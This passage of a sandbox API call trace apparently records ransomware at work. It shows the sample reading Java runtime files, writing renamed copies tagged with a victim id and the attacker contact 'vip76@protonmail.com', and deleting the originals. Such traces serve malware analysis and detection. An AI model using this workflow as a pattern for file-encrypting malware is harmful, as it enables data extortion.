	[0087.117] WriteFile (in: hFile=0x338, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0087.117] SetEndOfFile (hFile=0x338) returned 1
	[0087.117] CloseHandle (hObject=0x338) returned 1
	[0087.117] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.117] SetEndOfFile (hFile=0x388) returned 1
	[0087.118] CloseHandle (hObject=0x388) returned 1
	[0087.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.119] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 1
	[0087.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.119] lstrlenW (lpString=".doc") returned 4
	[0087.119] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.119] lstrlenW (lpString=".docx") returned 5
	[0087.119] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0087.119] lstrlenW (lpString=".pdf") returned 4
	[0087.119] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.119] lstrlenW (lpString=".xls") returned 4
	[0087.119] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.119] lstrlenW (lpString=".xlsx") returned 5
	[0087.119] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0087.119] lstrlenW (lpString=".ppt") returned 4
	[0087.119] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.119] lstrlenW (lpString=".zip") returned 4
	[0087.119] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.119] lstrlenW (lpString=".rar") returned 4
	[0087.119] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.119] lstrlenW (lpString=".bz2") returned 4
	[0087.119] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.119] lstrlenW (lpString=".7z") returned 3
	[0087.119] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.120] lstrlenW (lpString=".dbf") returned 4
	[0087.120] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.120] lstrlenW (lpString=".1cd") returned 4
	[0087.120] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.120] lstrlenW (lpString=".jpg") returned 4
	[0087.120] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.120] lstrlenW (lpString=".doc") returned 4
	[0087.120] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.120] lstrlenW (lpString=".docx") returned 5
	[0087.120] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0087.120] lstrlenW (lpString=".pdf") returned 4
	[0087.120] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.120] lstrlenW (lpString=".xls") returned 4
	[0087.120] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.120] lstrlenW (lpString=".xlsx") returned 5
	[0087.120] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0087.120] lstrlenW (lpString=".ppt") returned 4
	[0087.120] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.120] lstrlenW (lpString=".zip") returned 4
	[0087.120] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.120] lstrlenW (lpString=".rar") returned 4
	[0087.120] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.120] lstrlenW (lpString=".bz2") returned 4
	[0087.120] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.120] lstrlenW (lpString=".7z") returned 3
	[0087.120] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.121] lstrlenW (lpString=".dbf") returned 4
	[0087.121] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.121] lstrlenW (lpString=".1cd") returned 4
	[0087.121] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0087.121] lstrlenW (lpString=".jpg") returned 4
	[0087.121] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.121] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.121] lstrlenW (lpString="jp2native.dll") returned 13
	[0087.121] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.122] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=20032) returned 1
	[0087.122] CloseHandle (hObject=0x388) returned 1
	[0087.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20
	[0087.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.122] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.122] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0087.123] GetLastError () returned 0x0
	[0087.123] ReadFile (in: hFile=0x388, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x4e40, lpOverlapped=0x0) returned 1
	[0087.124] WriteFile (in: hFile=0x338, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x4e50, lpOverlapped=0x0) returned 1
	[0087.125] ReadFile (in: hFile=0x388, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.125] WriteFile (in: hFile=0x338, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xee, lpOverlapped=0x0) returned 1
	[0087.125] SetEndOfFile (hFile=0x338) returned 1
	[0087.126] CloseHandle (hObject=0x338) returned 1
	[0087.126] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.126] SetEndOfFile (hFile=0x388) returned 1
	[0087.127] CloseHandle (hObject=0x388) returned 1
	[0087.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.127] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 1
	[0087.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.127] lstrlenW (lpString=".doc") returned 4
	[0087.127] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.127] lstrlenW (lpString=".docx") returned 5
	[0087.127] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0087.127] lstrlenW (lpString=".pdf") returned 4
	[0087.127] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.127] lstrlenW (lpString=".xls") returned 4
	[0087.127] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.127] lstrlenW (lpString=".xlsx") returned 5
	[0087.127] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0087.127] lstrlenW (lpString=".ppt") returned 4
	[0087.127] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.128] lstrlenW (lpString=".zip") returned 4
	[0087.128] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.128] lstrlenW (lpString=".rar") returned 4
	[0087.128] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.128] lstrlenW (lpString=".bz2") returned 4
	[0087.128] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.128] lstrlenW (lpString=".7z") returned 3
	[0087.128] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.128] lstrlenW (lpString=".dbf") returned 4
	[0087.128] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.128] lstrlenW (lpString=".1cd") returned 4
	[0087.128] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.128] lstrlenW (lpString=".jpg") returned 4
	[0087.128] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.128] lstrlenW (lpString=".doc") returned 4
	[0087.128] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.128] lstrlenW (lpString=".docx") returned 5
	[0087.128] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0087.128] lstrlenW (lpString=".pdf") returned 4
	[0087.128] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.128] lstrlenW (lpString=".xls") returned 4
	[0087.128] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.128] lstrlenW (lpString=".xlsx") returned 5
	[0087.128] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0087.128] lstrlenW (lpString=".ppt") returned 4
	[0087.128] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.128] lstrlenW (lpString=".zip") returned 4
	[0087.129] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.129] lstrlenW (lpString=".rar") returned 4
	[0087.129] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.129] lstrlenW (lpString=".bz2") returned 4
	[0087.129] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.129] lstrlenW (lpString=".7z") returned 3
	[0087.129] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.129] lstrlenW (lpString=".dbf") returned 4
	[0087.129] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.129] lstrlenW (lpString=".1cd") returned 4
	[0087.129] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0087.129] lstrlenW (lpString=".jpg") returned 4
	[0087.129] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.129] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.129] lstrlenW (lpString="jp2ssv.dll") returned 10
	[0087.129] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.129] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=235584) returned 1
	[0087.129] CloseHandle (hObject=0x388) returned 1
	[0087.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20
	[0087.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.130] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.130] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.130] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.130] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0087.130] GetLastError () returned 0x0
	[0087.130] ReadFile (in: hFile=0x388, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x39840, lpOverlapped=0x0) returned 1
	[0087.136] WriteFile (in: hFile=0x338, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x39850, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x39850, lpOverlapped=0x0) returned 1
	[0087.140] ReadFile (in: hFile=0x388, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.140] WriteFile (in: hFile=0x338, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0087.140] SetEndOfFile (hFile=0x338) returned 1
	[0087.140] CloseHandle (hObject=0x338) returned 1
	[0087.140] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.140] SetEndOfFile (hFile=0x388) returned 1
	[0087.142] CloseHandle (hObject=0x388) returned 1
	[0087.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.143] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 1
	[0087.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.143] lstrlenW (lpString=".doc") returned 4
	[0087.143] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.143] lstrlenW (lpString=".docx") returned 5
	[0087.143] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1
	[0087.143] lstrlenW (lpString=".pdf") returned 4
	[0087.143] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.143] lstrlenW (lpString=".xls") returned 4
	[0087.143] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.143] lstrlenW (lpString=".xlsx") returned 5
	[0087.143] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1
	[0087.143] lstrlenW (lpString=".ppt") returned 4
	[0087.143] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.143] lstrlenW (lpString=".zip") returned 4
	[0087.143] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.143] lstrlenW (lpString=".rar") returned 4
	[0087.143] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.144] lstrlenW (lpString=".bz2") returned 4
	[0087.144] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.144] lstrlenW (lpString=".7z") returned 3
	[0087.144] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.144] lstrlenW (lpString=".dbf") returned 4
	[0087.144] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.144] lstrlenW (lpString=".1cd") returned 4
	[0087.144] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.144] lstrlenW (lpString=".jpg") returned 4
	[0087.144] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.144] lstrlenW (lpString=".doc") returned 4
	[0087.144] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.144] lstrlenW (lpString=".docx") returned 5
	[0087.144] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1
	[0087.144] lstrlenW (lpString=".pdf") returned 4
	[0087.144] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.144] lstrlenW (lpString=".xls") returned 4
	[0087.144] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.144] lstrlenW (lpString=".xlsx") returned 5
	[0087.144] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1
	[0087.144] lstrlenW (lpString=".ppt") returned 4
	[0087.144] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.144] lstrlenW (lpString=".zip") returned 4
	[0087.144] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.144] lstrlenW (lpString=".rar") returned 4
	[0087.144] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.144] lstrlenW (lpString=".bz2") returned 4
	[0087.145] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.145] lstrlenW (lpString=".7z") returned 3
	[0087.145] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.145] lstrlenW (lpString=".dbf") returned 4
	[0087.145] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.145] lstrlenW (lpString=".1cd") returned 4
	[0087.145] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0087.145] lstrlenW (lpString=".jpg") returned 4
	[0087.145] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.145] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.145] lstrlenW (lpString="jpeg.dll") returned 8
	[0087.145] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0087.157] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=185920) returned 1
	[0087.159] CloseHandle (hObject=0x38c) returned 1
	[0087.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20
	[0087.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.159] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0087.168] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.168] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.168] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.176] GetLastError () returned 0x0
	[0087.176] ReadFile (in: hFile=0x38c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x2d640, lpOverlapped=0x0) returned 1
	[0087.194] WriteFile (in: hFile=0x390, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x2d650, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x2d650, lpOverlapped=0x0) returned 1
	[0087.198] ReadFile (in: hFile=0x38c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.198] WriteFile (in: hFile=0x390, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0087.198] SetEndOfFile (hFile=0x390) returned 1
	[0087.198] CloseHandle (hObject=0x390) returned 1
	[0087.198] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.198] SetEndOfFile (hFile=0x38c) returned 1
	[0087.200] CloseHandle (hObject=0x38c) returned 1
	[0087.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.200] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 1
	[0087.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.201] lstrlenW (lpString=".doc") returned 4
	[0087.201] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
